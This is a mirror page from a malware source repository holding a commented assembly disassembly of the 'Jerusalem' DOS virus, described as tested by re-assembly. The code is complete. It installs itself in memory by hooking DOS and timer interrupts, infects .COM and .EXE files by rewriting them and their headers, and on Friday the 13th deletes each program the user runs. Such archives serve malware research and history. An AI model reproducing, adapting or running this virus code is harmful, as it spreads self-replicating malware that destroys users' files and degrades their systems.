mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
798 lines
27 KiB
NASM
798 lines
27 KiB
NASM
|
; The 'Jerusalem' virus
|
||
|
|
||
|
; Disassembled by Joe Hirst (Tel: 0273-26105) January 1989.
|
||
|
|
||
|
; The disassembly has been tested by re-assembly using MASM 5.0
|
||
|
|
||
|
RAM SEGMENT AT 0
|
||
|
|
||
|
; System data
|
||
|
|
||
|
ORG 3FCH
|
||
|
BW03FC DW ?
|
||
|
BB03FE DB ?
|
||
|
|
||
|
ORG 2CH
|
||
|
ENV_SG DW ? ; Segment address of environment
|
||
|
|
||
|
RAM ENDS
|
||
|
|
||
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||
|
ASSUME CS:CODE,DS:NOTHING,ES:RAM
|
||
|
|
||
|
START: JMP BP0010
|
||
|
|
||
|
DB 'sU'
|
||
|
|
||
|
VR_SIG DB 'MsDos'
|
||
|
|
||
|
VIR_RT EQU THIS DWORD
|
||
|
V_RTOF DW 0100H
|
||
|
V_RTSG DW 1C26H
|
||
|
DEL_SW DB 0 ; Delete program switch
|
||
|
BEGIN DW 0 ; Initial value for AX
|
||
|
F_SIZE DW 2A74H ; Total file size
|
||
|
|
||
|
INT_08 EQU THIS DWORD
|
||
|
I08OFF DW 00ABH ; Int 8 offset
|
||
|
I08SEG DW 17CDH ; Int 8 segment
|
||
|
|
||
|
INT_21 EQU THIS DWORD
|
||
|
I21OFF DW 1460H ; Int 21H offset
|
||
|
I21SEG DW 029FH ; Int 21H segment
|
||
|
|
||
|
INT_24 EQU THIS DWORD
|
||
|
I24OFF DW 0556H ; Int 24H offset
|
||
|
I24SEG DW 189BH ; Int 24H segment
|
||
|
|
||
|
TCOUNT DW 3A53H ; Timer count
|
||
|
|
||
|
; Fields passed by spare virus call
|
||
|
|
||
|
SPAR01 DW 0 ; 00 Spare call field 1 - AX
|
||
|
SP_RET EQU THIS DWORD
|
||
|
SPAR02 DW 0 ; 02 Spare call field 2 - IP
|
||
|
SPAR03 DW 0 ; 04 Spare call field 3 - CS
|
||
|
SPAR04 DW 0 ; 06 Spare call field 4 - SP
|
||
|
SPAR05 DW 0 ; 08 Spare call field 5 - SS
|
||
|
SPAR06 DW 0 ; 0A Spare call field 6
|
||
|
SPAR07 DW 0 ; 0C Spare call field 7
|
||
|
SPAR08 DW 0 ; 0E Spare call field 8
|
||
|
|
||
|
ST_ES1 DW 1BB5H ; Original ES
|
||
|
SET_PA DW 0080H
|
||
|
|
||
|
; Program parameter block
|
||
|
|
||
|
PPB_01 DW 0 ; Environment address
|
||
|
PPB_02 DW 0080H ; Command line offset
|
||
|
PPB_03 DW 1BB5H ; Command line segment
|
||
|
PPB_04 DW 005CH ; FCB1 offset
|
||
|
PPB_05 DW 1BB5H ; FCB1 segment
|
||
|
PPB_06 DW 006CH ; FCB2 offset
|
||
|
PPB_07 DW 1BB5H ; FCB2 segment
|
||
|
|
||
|
PRG_SP DW 0710H ; Initial stack pointer store
|
||
|
PRG_SS DW 14EDH ; Initial stack segment store
|
||
|
PROGRM EQU THIS DWORD
|
||
|
PRGOFF DW 00C5H ; Initial code offset store
|
||
|
PRGSEG DW 14EDH ; Initial code segment store
|
||
|
SS_ST1 DW 0246H
|
||
|
SS_ST2 DB 00A1H
|
||
|
EXE_SW DB 0 ; EXE switch - 0 = .COM extension
|
||
|
|
||
|
; .EXE header store
|
||
|
|
||
|
EXEHED DB 4DH, 5AH ; 00 .EXE header ident
|
||
|
EXHD01 DW 00F0H ; 02 Bytes in last page
|
||
|
EXHD02 DW 00B2H ; 04 Size of file in pages
|
||
|
EXHD03 DW 0138H ; 06 Number of relocation entries
|
||
|
EXHD04 DW 0060H ; 08 Size of header in paragraphs
|
||
|
EXHD05 DW 06D3H ; 0A Minimum extra storage required
|
||
|
EXHD06 DW -1 ; 0C Maximum extra storage required
|
||
|
EXHD07 DW 155EH ; 0E Initial stack segment
|
||
|
EXHD08 DW 0710H ; 10 Initial stack pointer
|
||
|
EXHD09 DW 1984H ; 12 Negative checksum
|
||
|
EXHD10 DW 00C5H ; 14 Initial code offset
|
||
|
EXHD11 DW 155EH ; 16 Initial code segment
|
||
|
DB 01EH, 000H, 000H, 000H
|
||
|
|
||
|
SIGBUF DB 037H, 020H, 02AH, 02AH, 02AH
|
||
|
F_HAND DW 5 ; File handle
|
||
|
F_ATTS DW 0020H ; File attributes
|
||
|
F_DATE DW 0F30H ; File date
|
||
|
F_TIME DW 6000H ; File time
|
||
|
BYTSEC DW 0200H ; Bytes per sector
|
||
|
PARAGR DW 0010H ; Size of a paragraph
|
||
|
F_SIZ1 DW 5BE0H ; Low-order file size
|
||
|
F_SIZ2 DW 1 ; High-order file size
|
||
|
F_PATH EQU THIS DWORD
|
||
|
FPTHOF DW 41B9H ; Program pathname offset
|
||
|
FPTHSG DW 9B2AH ; Program pathname segment
|
||
|
COM_CM DB 'COMMAND.COM'
|
||
|
MEM_SW DW 1 ; Memory allocated switch
|
||
|
DB 4 DUP (0)
|
||
|
|
||
|
; This section seems to assume a COM origin of 100H
|
||
|
|
||
|
BP0010:
|
||
|
CLD
|
||
|
MOV AH,0E0H ; Virus "are you there" call
|
||
|
INT 21H ; DOS service (Virus - 1)
|
||
|
CMP AH,0E0H ; Test for unchanged
|
||
|
JNB BP0020 ; Branch if invalid reply
|
||
|
CMP AH,3 ; Test for standard "yes"
|
||
|
JB BP0020 ; Branch if non-standard
|
||
|
MOV AH,0DDH ; Replace program
|
||
|
MOV DI,0100H ; Initial offset
|
||
|
MOV SI,OFFSET ENDADR ; Length of virus
|
||
|
ADD SI,DI ; Add initial offset
|
||
|
MOV CX,CS:F_SIZE[DI] ; Get total filesize
|
||
|
INT 21H ; DOS service (Virus - 2)
|
||
|
BP0020:
|
||
|
MOV AX,CS ; Get current segment
|
||
|
ADD AX,10H ; Address past PSP
|
||
|
MOV SS,AX ; \ Set up stack
|
||
|
MOV SP,0700H ; /
|
||
|
PUSH AX ; Segment for return
|
||
|
MOV AX,OFFSET BP0030 ; \ Offset for return
|
||
|
PUSH AX ; /
|
||
|
RETF ; "Return" to next instruction
|
||
|
|
||
|
; We now have an origin of zero
|
||
|
|
||
|
BP0030:
|
||
|
CLD
|
||
|
PUSH ES
|
||
|
MOV ST_ES1,ES ; Save original ES
|
||
|
MOV PPB_03,ES ; \
|
||
|
MOV PPB_05,ES ; ) Segments in PPB
|
||
|
MOV PPB_07,ES ; /
|
||
|
MOV AX,ES ; \ Segment relocation factor
|
||
|
ADD AX,10H ; /
|
||
|
ADD PRGSEG,AX ; Initial code segment store
|
||
|
ADD PRG_SS,AX ; Initial stack segment store
|
||
|
MOV AH,0E0H ; Virus "are you there" call
|
||
|
INT 21H ; DOS service (Virus - 1)
|
||
|
CMP AH,0E0H ; Test for unchanged
|
||
|
JNB BP0040 ; Branch if not
|
||
|
CMP AH,3 ; Test for standard "yes"
|
||
|
POP ES
|
||
|
MOV SS,PRG_SS ; Initial stack segment store
|
||
|
MOV SP,PRG_SP ; Initial stack pointer store
|
||
|
JMP PROGRM ; Start of actual program
|
||
|
|
||
|
; Virus is not already active
|
||
|
|
||
|
BP0040:
|
||
|
XOR AX,AX ; \ Address page zero
|
||
|
MOV ES,AX ; /
|
||
|
MOV AX,BW03FC ; \ Save system area data (1)
|
||
|
MOV SS_ST1,AX ; /
|
||
|
MOV AL,BB03FE ; \ Save system area data (2)
|
||
|
MOV SS_ST2,AL ; /
|
||
|
MOV BW03FC,0A5F3H ; Store REPZ MOVSW
|
||
|
MOV BB03FE,0CBH ; Store RETF
|
||
|
POP AX ; \
|
||
|
ADD AX,10H ; ) Address past PSP
|
||
|
MOV ES,AX ; /
|
||
|
PUSH CS ; \ Set DS to CS
|
||
|
POP DS ; /
|
||
|
MOV CX,OFFSET ENDADR ; Length of virus
|
||
|
SHR CX,1 ; Divide by two (word parameter)
|
||
|
XOR SI,SI
|
||
|
MOV DI,SI
|
||
|
PUSH ES
|
||
|
MOV AX,OFFSET BP0050
|
||
|
PUSH AX
|
||
|
DB 0EAH ; \ Far jump to move instruction
|
||
|
DW BW03FC, 0 ; /
|
||
|
|
||
|
BP0050:
|
||
|
MOV AX,CS
|
||
|
MOV SS,AX
|
||
|
MOV SP,0700H
|
||
|
XOR AX,AX ; \ Address page zero
|
||
|
MOV DS,AX ; /
|
||
|
ASSUME DS:RAM,ES:NOTHING
|
||
|
MOV AX,SS_ST1 ; \ Restore system area data (1)
|
||
|
MOV BW03FC,AX ; /
|
||
|
MOV AL,SS_ST2 ; \ Restore system area data (2)
|
||
|
MOV BB03FE,AL ; /
|
||
|
MOV BX,SP
|
||
|
MOV CL,4
|
||
|
SHR BX,CL
|
||
|
ADD BX,10H
|
||
|
MOV SET_PA,BX ; Save number of paragraphs
|
||
|
MOV AH,4AH ; Set block
|
||
|
MOV ES,ST_ES1 ; Get original ES
|
||
|
INT 21H ; DOS service (Set block)
|
||
|
MOV AX,3521H ; Get interrupt 21H
|
||
|
INT 21H ; DOS service (Get int)
|
||
|
MOV I21OFF,BX ; Save interrupt 21H offset
|
||
|
MOV I21SEG,ES ; Save interrupt 21H segment
|
||
|
PUSH CS ; \ Set DS to CS
|
||
|
POP DS ; /
|
||
|
ASSUME DS:CODE
|
||
|
MOV DX,OFFSET BP0130 ; Interrupt 21H routine
|
||
|
MOV AX,2521H ; Set interrupt 21H
|
||
|
INT 21H ; DOS service (Set int)
|
||
|
MOV ES,ST_ES1 ; Get original ES
|
||
|
ASSUME ES:RAM
|
||
|
MOV ES,ES:ENV_SG ; Get environment segment
|
||
|
XOR DI,DI ; Start of environment
|
||
|
MOV CX,7FFFH ; Allow for 32K environment
|
||
|
XOR AL,AL ; Search for zero
|
||
|
BP0060:
|
||
|
REPNZ SCASB ; Find zero
|
||
|
CMP ES:[DI],AL ; Is following character zero
|
||
|
LOOPNZ BP0060 ; Search again if not
|
||
|
MOV DX,DI ; Save pointer
|
||
|
ADD DX,3 ; Address pathname
|
||
|
MOV AX,4B00H ; Load and execute program
|
||
|
PUSH ES ; \ Set DS to ES
|
||
|
POP DS ; /
|
||
|
PUSH CS ; \ Set ES to CS
|
||
|
POP ES ; /
|
||
|
ASSUME DS:RAM,ES:NOTHING
|
||
|
MOV BX,OFFSET PPB_01 ; PPB (for load and execute)
|
||
|
PUSH DS
|
||
|
PUSH ES
|
||
|
PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
MOV AH,2AH ; Get date
|
||
|
INT 21H ; DOS service (Get date)
|
||
|
MOV DEL_SW,0 ; Set delete program switch off
|
||
|
CMP CX,07C3H ; Year = 1987
|
||
|
JZ BP0080 ; Branch if yes
|
||
|
CMP AL,5 ; Day of week = Friday
|
||
|
JNZ BP0070 ; Branch if not
|
||
|
CMP DL,0DH ; Day of month = 13
|
||
|
JNZ BP0070 ; Branch if not
|
||
|
INC DEL_SW ; Set delete program switch on
|
||
|
JMP BP0080
|
||
|
|
||
|
BP0070:
|
||
|
MOV AX,3508H ; Get interrupt 8
|
||
|
INT 21H ; DOS service (Get int)
|
||
|
MOV I08OFF,BX ; Save interrupt 8 offset
|
||
|
MOV I08SEG,ES ; Save interrupt 8 segment
|
||
|
PUSH CS ; \ Set DS to CS
|
||
|
POP DS ; /
|
||
|
ASSUME DS:CODE
|
||
|
MOV TCOUNT,7E90H ; Start clock count (30 mins)
|
||
|
MOV AX,2508H ; Set interrupt 8
|
||
|
MOV DX,OFFSET BP0100 ; Interrupt 8 routine
|
||
|
INT 21H ; DOS service (Set int)
|
||
|
BP0080:
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
POP ES
|
||
|
POP DS
|
||
|
ASSUME DS:NOTHING
|
||
|
PUSHF ; Fake an interrupt
|
||
|
CALL INT_21 ; Interrupt 21H (Load and execute)
|
||
|
PUSH DS ; \ Set ES to DS
|
||
|
POP ES ; /
|
||
|
MOV AH,49H ; Free allocated memory
|
||
|
INT 21H ; DOS service (Free memory)
|
||
|
MOV AH,4DH ; Get return code of child process
|
||
|
INT 21H ; DOS service (Get return code)
|
||
|
MOV AH,31H ; Keep process
|
||
|
MOV DX,OFFSET ENDKEEP ; Length of program
|
||
|
MOV CL,4 ; \ Convert to paragraphs
|
||
|
SHR DX,CL ; /
|
||
|
ADD DX,10H ; And another 256 bytes
|
||
|
INT 21H ; DOS service (Keep process)
|
||
|
|
||
|
; Interrupt 24H
|
||
|
|
||
|
BP0090:
|
||
|
XOR AL,AL ; Ignore the error
|
||
|
IRET
|
||
|
|
||
|
; Interrupt 8
|
||
|
|
||
|
BP0100:
|
||
|
CMP TCOUNT,2 ; Is timer ready
|
||
|
JNZ BP0110 ; Branch if not
|
||
|
PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH BP
|
||
|
MOV AX,0602H ; Scroll up two lines
|
||
|
MOV BH,87H ; Blinking white on black
|
||
|
MOV CX,0505H ; Start row 5 column 5
|
||
|
MOV DX,1010H ; End row 16 column 16
|
||
|
INT 10H ; VDU I/O
|
||
|
POP BP
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
BP0110:
|
||
|
DEC TCOUNT ; Subtract from timer count
|
||
|
JNZ BP0120 ; Branch if not zero
|
||
|
MOV TCOUNT,1 ; Set back to one
|
||
|
PUSH AX
|
||
|
PUSH CX
|
||
|
PUSH SI
|
||
|
MOV CX,4001H ; \ Waste some time
|
||
|
REPZ LODSB ; /
|
||
|
POP SI
|
||
|
POP CX
|
||
|
POP AX
|
||
|
BP0120:
|
||
|
JMP INT_08 ; Interrupt 8
|
||
|
|
||
|
; Interrupt 21H
|
||
|
|
||
|
BP0130:
|
||
|
PUSHF
|
||
|
CMP AH,0E0H ; Virus "are you there" call
|
||
|
JNZ BP0140 ; Branch if other call
|
||
|
MOV AX,0300H ; Standard "yes"
|
||
|
POPF
|
||
|
IRET
|
||
|
|
||
|
BP0140:
|
||
|
CMP AH,0DDH ; Virus replace program call
|
||
|
JZ BP0160 ; Branch if yes
|
||
|
CMP AH,0DEH ; Virus spare call
|
||
|
JZ BP0170 ; Branch if yes
|
||
|
CMP AX,4B00H ; Is it load and execute
|
||
|
JNZ BP0150 ; Branch if not
|
||
|
JMP BP0210 ; Process load and execute
|
||
|
|
||
|
BP0150:
|
||
|
POPF
|
||
|
JMP CS:INT_21 ; Interrupt 21H
|
||
|
|
||
|
; Replace program call
|
||
|
|
||
|
BP0160:
|
||
|
POP AX
|
||
|
POP AX ; Retrieve return offset
|
||
|
MOV AX,100H ; Replace with start address
|
||
|
MOV V_RTOF,AX ; Store in return jump
|
||
|
POP AX ; Retrieve return segment
|
||
|
MOV V_RTSG,AX ; Store in return jump
|
||
|
REPZ MOVSB ; Restore program to beginning
|
||
|
POPF
|
||
|
MOV AX,BEGIN ; Start with zero register
|
||
|
JMP VIR_RT ; Start actual program
|
||
|
|
||
|
; Spare virus call
|
||
|
|
||
|
BP0170:
|
||
|
ADD SP,6 ; Remove three words from stack
|
||
|
POPF
|
||
|
MOV AX,CS ; \
|
||
|
MOV SS,AX ; ) Set up internal stack
|
||
|
MOV SP,OFFSET ENDADR ; /
|
||
|
PUSH ES
|
||
|
PUSH ES
|
||
|
XOR DI,DI
|
||
|
PUSH CS ; \ Set ES to CS
|
||
|
POP ES ; /
|
||
|
MOV CX,10H ; Length to move
|
||
|
MOV SI,BX
|
||
|
MOV DI,OFFSET SPAR01
|
||
|
REPZ MOVSB ; Copy to SPAR01-SPAR08 inclusive
|
||
|
MOV AX,DS ; \ Set ES to DS
|
||
|
MOV ES,AX ; /
|
||
|
MUL PARAGR ; Size of a paragraph
|
||
|
ADD AX,SPAR06 ; \ Add
|
||
|
ADC DX,0 ; /
|
||
|
DIV PARAGR ; Size of a paragraph
|
||
|
MOV DS,AX
|
||
|
MOV SI,DX
|
||
|
MOV DI,DX
|
||
|
MOV BP,ES ; Save ES
|
||
|
MOV BX,SPAR08
|
||
|
OR BX,BX
|
||
|
JZ BP0190
|
||
|
BP0180:
|
||
|
MOV CX,8000H
|
||
|
REPZ MOVSW
|
||
|
ADD AX,1000H
|
||
|
ADD BP,1000H
|
||
|
MOV DS,AX
|
||
|
MOV ES,BP ; Restore ES
|
||
|
DEC BX
|
||
|
JNZ BP0180
|
||
|
BP0190:
|
||
|
MOV CX,SPAR07
|
||
|
REPZ MOVSB
|
||
|
POP AX ; Recover ES
|
||
|
PUSH AX ; Put it back again
|
||
|
ADD AX,10H ; Address past PSP
|
||
|
ADD SPAR05,AX ; Relocate SS
|
||
|
ADD SPAR03,AX ; Relocate ?
|
||
|
MOV AX,SPAR01
|
||
|
POP DS
|
||
|
POP ES
|
||
|
MOV SS,SPAR05
|
||
|
MOV SP,SPAR04
|
||
|
JMP SP_RET
|
||
|
|
||
|
; Friday 13th - Delete program
|
||
|
|
||
|
BP0200:
|
||
|
XOR CX,CX ; No attributes
|
||
|
MOV AX,4301H ; Set file attributes
|
||
|
INT 21H ; DOS service (Set attributes)
|
||
|
MOV AH,41H ; Delete directory entry
|
||
|
INT 21H ; DOS service (Delete entry)
|
||
|
MOV AX,4B00H ; Load and execute program
|
||
|
POPF
|
||
|
JMP INT_21 ; Interrupt 21H
|
||
|
|
||
|
; Process load and execute program
|
||
|
|
||
|
BP0210:
|
||
|
CMP DEL_SW,1 ; Test delete program switch
|
||
|
JZ BP0200 ; Branch to delete if on
|
||
|
MOV F_HAND,-1 ; No file handle
|
||
|
MOV MEM_SW,0 ; Set off memory allocated switch
|
||
|
MOV FPTHOF,DX ; Save pathname offset
|
||
|
MOV FPTHSG,DS ; Save pathname segment
|
||
|
PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH SI
|
||
|
PUSH DI
|
||
|
PUSH DS
|
||
|
PUSH ES
|
||
|
CLD
|
||
|
MOV DI,DX ; Point to file pathname
|
||
|
XOR DL,DL ; Default drive
|
||
|
CMP BYTE PTR [DI+1],3AH ; Test second character for ':'
|
||
|
JNZ BP0220 ; Branch if not
|
||
|
MOV DL,[DI] ; Get drive letter
|
||
|
AND DL,1FH ; Convert to number
|
||
|
BP0220:
|
||
|
MOV AH,36H ; Get disk free space
|
||
|
INT 21H ; DOS service (Get disk free)
|
||
|
CMP AX,-1 ; Test for invalid drive
|
||
|
JNZ BP0240 ; Branch if not
|
||
|
BP0230:
|
||
|
JMP BP0500 ; Terminate
|
||
|
|
||
|
BP0240:
|
||
|
MUL BX ; Calc number of free sectors
|
||
|
MUL CX ; Calc number of free bytes
|
||
|
OR DX,DX ; Test high word of result
|
||
|
JNZ BP0250 ; Branch if not zero
|
||
|
CMP AX,OFFSET ENDADR ; Length of virus
|
||
|
JB BP0230 ; Terminate if less
|
||
|
BP0250:
|
||
|
MOV DX,FPTHOF ; Get pathname offset
|
||
|
PUSH DS ; \ Set ES to DS
|
||
|
POP ES ; /
|
||
|
XOR AL,AL ; Test character - zero
|
||
|
MOV CX,41H ; Maximum pathname length
|
||
|
REPNZ SCASB ; Find end of pathname
|
||
|
MOV SI,FPTHOF ; Get pathname offset
|
||
|
BP0260:
|
||
|
MOV AL,[SI] ; Get pathname character
|
||
|
OR AL,AL ; Test for a character
|
||
|
JZ BP0280 ; Finish if none
|
||
|
CMP AL,61H ; Test for 'a'
|
||
|
JB BP0270 ; Branch if less
|
||
|
CMP AL,7AH ; Test for 'z'
|
||
|
JA BP0270 ; Branch if above
|
||
|
SUB BYTE PTR [SI],20H ; Convert to uppercase
|
||
|
BP0270:
|
||
|
INC SI ; Address next character
|
||
|
JMP BP0260 ; Process next character
|
||
|
|
||
|
BP0280:
|
||
|
MOV CX,0BH ; Load length 11
|
||
|
SUB SI,CX ; Address back by length
|
||
|
MOV DI,OFFSET COM_CM ; 'COMMAND.COM'
|
||
|
PUSH CS ; \ Set ES to CS
|
||
|
POP ES ; /
|
||
|
MOV CX,0BH ; Load length again
|
||
|
REPZ CMPSB ; Compare
|
||
|
JNZ BP0290 ; Continue if not command.com
|
||
|
JMP BP0500 ; Terminate
|
||
|
|
||
|
BP0290:
|
||
|
MOV AX,4300H ; Get file attributes
|
||
|
INT 21H ; DOS service (Get attributes)
|
||
|
JB BP0300 ; Follow chain of error branches
|
||
|
MOV F_ATTS,CX ; Save file attributes
|
||
|
BP0300:
|
||
|
JB BP0320 ; Follow chain of error branches
|
||
|
XOR AL,AL ; Scan character - zero
|
||
|
MOV EXE_SW,AL ; Set EXE switch off
|
||
|
PUSH DS ; \ Set ES to DS
|
||
|
POP ES ; /
|
||
|
MOV DI,DX ; Pointer to pathname
|
||
|
MOV CX,41H ; Maximum pathname length
|
||
|
REPNZ SCASB ; Find end of pathname
|
||
|
CMP BYTE PTR [DI-2],4DH ; Is last letter 'M'
|
||
|
JZ BP0310 ; Branch if yes
|
||
|
CMP BYTE PTR [DI-2],6DH ; Is last letter 'm'
|
||
|
JZ BP0310 ; Branch if yes
|
||
|
INC EXE_SW ; Set EXE switch on
|
||
|
BP0310:
|
||
|
MOV AX,3D00H ; Open handle, read only
|
||
|
INT 21H ; DOS service (Open handle)
|
||
|
BP0320:
|
||
|
JB BP0340 ; Follow chain of error branches
|
||
|
MOV F_HAND,AX ; Save file handle
|
||
|
MOV BX,AX ; File handle
|
||
|
MOV AX,4202H ; Move file pointer
|
||
|
MOV CX,-1 ; \ End of file minus 5
|
||
|
MOV DX,-5 ; /
|
||
|
INT 21H ; DOS service (Move pointer)
|
||
|
JB BP0320 ; Follow chain of error branches
|
||
|
ADD AX,5 ; Total file size
|
||
|
MOV F_SIZE,AX ; Save total file size
|
||
|
MOV CX,5 ; Length to read
|
||
|
MOV DX,OFFSET SIGBUF ; Infection test buffer
|
||
|
MOV AX,CS ; \
|
||
|
MOV DS,AX ; ) Make DS & ES same as CS
|
||
|
MOV ES,AX ; /
|
||
|
ASSUME DS:CODE
|
||
|
MOV AH,3FH ; Read handle
|
||
|
INT 21H ; DOS service (Read handle)
|
||
|
MOV DI,DX ; Address test buffer
|
||
|
MOV SI,OFFSET VR_SIG ; Signature
|
||
|
REPZ CMPSB ; Compare signatures
|
||
|
JNZ BP0330 ; Branch if not infected
|
||
|
MOV AH,3EH ; Close handle
|
||
|
INT 21H ; DOS service (Close handle)
|
||
|
JMP BP0500 ; Terminate
|
||
|
|
||
|
BP0330:
|
||
|
MOV AX,3524H ; Get interrupt 24H
|
||
|
INT 21H ; DOS service (Get int)
|
||
|
MOV I24OFF,BX ; Save interrupt 24H offset
|
||
|
MOV I24SEG,ES ; Save interrupt 24H segment
|
||
|
MOV DX,OFFSET BP0090 ; Interrupt 24H routine
|
||
|
MOV AX,2524H ; Set interrupt 24H
|
||
|
INT 21H ; DOS service (Set int)
|
||
|
LDS DX,F_PATH ; Address program pathname
|
||
|
XOR CX,CX ; No attributes
|
||
|
MOV AX,4301H ; Set file attributes
|
||
|
INT 21H ; DOS service (Set attributes)
|
||
|
ASSUME DS:NOTHING
|
||
|
BP0340:
|
||
|
JB BP0350 ; Follow chain of error branches
|
||
|
MOV BX,F_HAND ; Get file handle
|
||
|
MOV AH,3EH ; Close handle
|
||
|
INT 21H ; DOS service (Close handle)
|
||
|
MOV F_HAND,-1 ; No file handle
|
||
|
MOV AX,3D02H ; Open handle read/write
|
||
|
INT 21H ; DOS service (Open handle)
|
||
|
JB BP0350 ; Follow chain of error branches
|
||
|
MOV F_HAND,AX ; Save file handle
|
||
|
MOV AX,CS ; \
|
||
|
MOV DS,AX ; ) Make DS & ES same as CS
|
||
|
MOV ES,AX ; /
|
||
|
ASSUME DS:CODE
|
||
|
MOV BX,F_HAND ; Get file handle
|
||
|
MOV AX,5700H ; Get file date and time
|
||
|
INT 21H ; DOS service (Get file date)
|
||
|
MOV F_DATE,DX ; Save file date
|
||
|
MOV F_TIME,CX ; Save file time
|
||
|
MOV AX,4200H ; Move file pointer
|
||
|
XOR CX,CX ; \ Beginning of file
|
||
|
MOV DX,CX ; /
|
||
|
INT 21H ; DOS service (Move pointer)
|
||
|
BP0350:
|
||
|
JB BP0380 ; Follow chain of error branches
|
||
|
CMP EXE_SW,0 ; Test EXE switch
|
||
|
JZ BP0360 ; Branch if off
|
||
|
JMP BP0400
|
||
|
|
||
|
; .COM file processing
|
||
|
|
||
|
BP0360:
|
||
|
MOV BX,1000H ; 64K of memory wanted
|
||
|
MOV AH,48H ; Allocate memory
|
||
|
INT 21H ; DOS service (Allocate memory)
|
||
|
JNB BP0370 ; Branch if successful
|
||
|
MOV AH,3EH ; Close handle
|
||
|
MOV BX,F_HAND ; Get file handle
|
||
|
INT 21H ; DOS service (Close handle)
|
||
|
JMP BP0500 ; Terminate
|
||
|
|
||
|
BP0370:
|
||
|
INC MEM_SW ; Set on memory allocated switch
|
||
|
MOV ES,AX ; Segment of allocated memory
|
||
|
XOR SI,SI ; Start of virus
|
||
|
MOV DI,SI ; Start of allocated memory
|
||
|
MOV CX,OFFSET ENDADR ; Length of virus
|
||
|
REPZ MOVSB ; Copy virus to allocated
|
||
|
MOV DX,DI ; Address after virus
|
||
|
MOV CX,F_SIZE ; Total file size
|
||
|
MOV BX,F_HAND ; Get file handle
|
||
|
PUSH ES ; \ Set DS to ES
|
||
|
POP DS ; /
|
||
|
MOV AH,3FH ; Read handle
|
||
|
INT 21H ; DOS service (Read handle)
|
||
|
BP0380:
|
||
|
JB BP0390 ; Follow chain of error branches
|
||
|
ADD DI,CX ; Add previous file size
|
||
|
XOR CX,CX ; \ Beginning of file
|
||
|
MOV DX,CX ; /
|
||
|
MOV AX,4200H ; Move file pointer
|
||
|
INT 21H ; DOS service (Move pointer)
|
||
|
MOV SI,OFFSET VR_SIG ; Signature
|
||
|
MOV CX,5 ; Length to move
|
||
|
REPZ MOVS [DI],CS:VR_SIG ; Copy signature to end
|
||
|
MOV CX,DI ; Length to write
|
||
|
XOR DX,DX ; Start of allocated
|
||
|
MOV AH,40H ; Write handle
|
||
|
INT 21H ; DOS service (Write handle)
|
||
|
BP0390:
|
||
|
JB BP0410 ; Follow chain of error branches
|
||
|
JMP BP0480 ; Free memory and reset values
|
||
|
|
||
|
; .EXE file processing
|
||
|
|
||
|
BP0400:
|
||
|
MOV CX,1CH ; Length of EXE header
|
||
|
MOV DX,OFFSET EXEHED ; .EXE header store
|
||
|
MOV AH,3FH ; Read handle
|
||
|
INT 21H ; DOS service (Read handle)
|
||
|
BP0410:
|
||
|
JB BP0430 ; Follow chain of error branches
|
||
|
MOV EXHD09,1984H ; Negative checksum
|
||
|
MOV AX,EXHD07 ; \ Store initial stack segment
|
||
|
MOV PRG_SS,AX ; /
|
||
|
MOV AX,EXHD08 ; \ Store initial stack pointer
|
||
|
MOV PRG_SP,AX ; /
|
||
|
MOV AX,EXHD10 ; \ Store initial code offset
|
||
|
MOV PRGOFF,AX ; /
|
||
|
MOV AX,EXHD11 ; \ Store initial code segment
|
||
|
MOV PRGSEG,AX ; /
|
||
|
MOV AX,EXHD02 ; Get size of file in pages
|
||
|
CMP EXHD01,0 ; Number of bytes in last page
|
||
|
JZ BP0420 ; Branch if none
|
||
|
DEC AX ; One less page
|
||
|
BP0420:
|
||
|
MUL BYTSEC ; Bytes per sector
|
||
|
ADD AX,EXHD01 ; \ Add bytes in last page
|
||
|
ADC DX,0 ; /
|
||
|
ADD AX,0FH ; \ Round up
|
||
|
ADC DX,0 ; /
|
||
|
AND AX,0FFF0H ; Clear bottom figure
|
||
|
MOV F_SIZ1,AX ; Save low-order file size
|
||
|
MOV F_SIZ2,DX ; Save high-order file size
|
||
|
ADD AX,OFFSET ENDADR ; \ Add virus length
|
||
|
ADC DX,0 ; /
|
||
|
BP0430:
|
||
|
JB BP0450 ; Follow chain of error branches
|
||
|
DIV BYTSEC ; Bytes per sector
|
||
|
OR DX,DX ; Test odd bytes
|
||
|
JZ BP0440 ; Branch if none
|
||
|
INC AX ; One more page for odd bytes
|
||
|
BP0440:
|
||
|
MOV EXHD02,AX ; Store size of file in pages
|
||
|
MOV EXHD01,DX ; Store bytes in last page
|
||
|
MOV AX,F_SIZ1 ; Low-order file size
|
||
|
MOV DX,F_SIZ2 ; High-order file size
|
||
|
DIV PARAGR ; Size of a paragraph
|
||
|
SUB AX,EXHD04 ; Size of header in paragraphs
|
||
|
MOV EXHD11,AX ; Initial code segment
|
||
|
MOV EXHD10,OFFSET BP0030 ; Initial code offset
|
||
|
MOV EXHD07,AX ; Initial stack segment
|
||
|
MOV EXHD08,OFFSET ENDADR ; Initial stack pointer
|
||
|
XOR CX,CX ; \ Beginning of file
|
||
|
MOV DX,CX ; /
|
||
|
MOV AX,4200H ; Move file pointer
|
||
|
INT 21H ; DOS service (Move pointer)
|
||
|
BP0450:
|
||
|
JB BP0460 ; Follow chain of error branches
|
||
|
MOV CX,1CH ; Length of EXE header
|
||
|
MOV DX,OFFSET EXEHED ; .EXE header store
|
||
|
MOV AH,40H ; Write handle
|
||
|
INT 21H ; DOS service (Write handle)
|
||
|
BP0460:
|
||
|
JB BP0470 ; Follow chain of error branches
|
||
|
CMP AX,CX ; Has same length been written
|
||
|
JNZ BP0480 ; Branch if not
|
||
|
MOV DX,F_SIZ1 ; Low-order file size
|
||
|
MOV CX,F_SIZ2 ; High-order file size
|
||
|
MOV AX,4200H ; Move file pointer
|
||
|
INT 21H ; DOS service (Move pointer)
|
||
|
BP0470:
|
||
|
JB BP0480 ; Follow chain of error branches
|
||
|
XOR DX,DX ; Address beginning of virus
|
||
|
MOV CX,OFFSET ENDADR ; Length of virus
|
||
|
MOV AH,40H ; Write handle
|
||
|
INT 21H ; DOS service (Write handle)
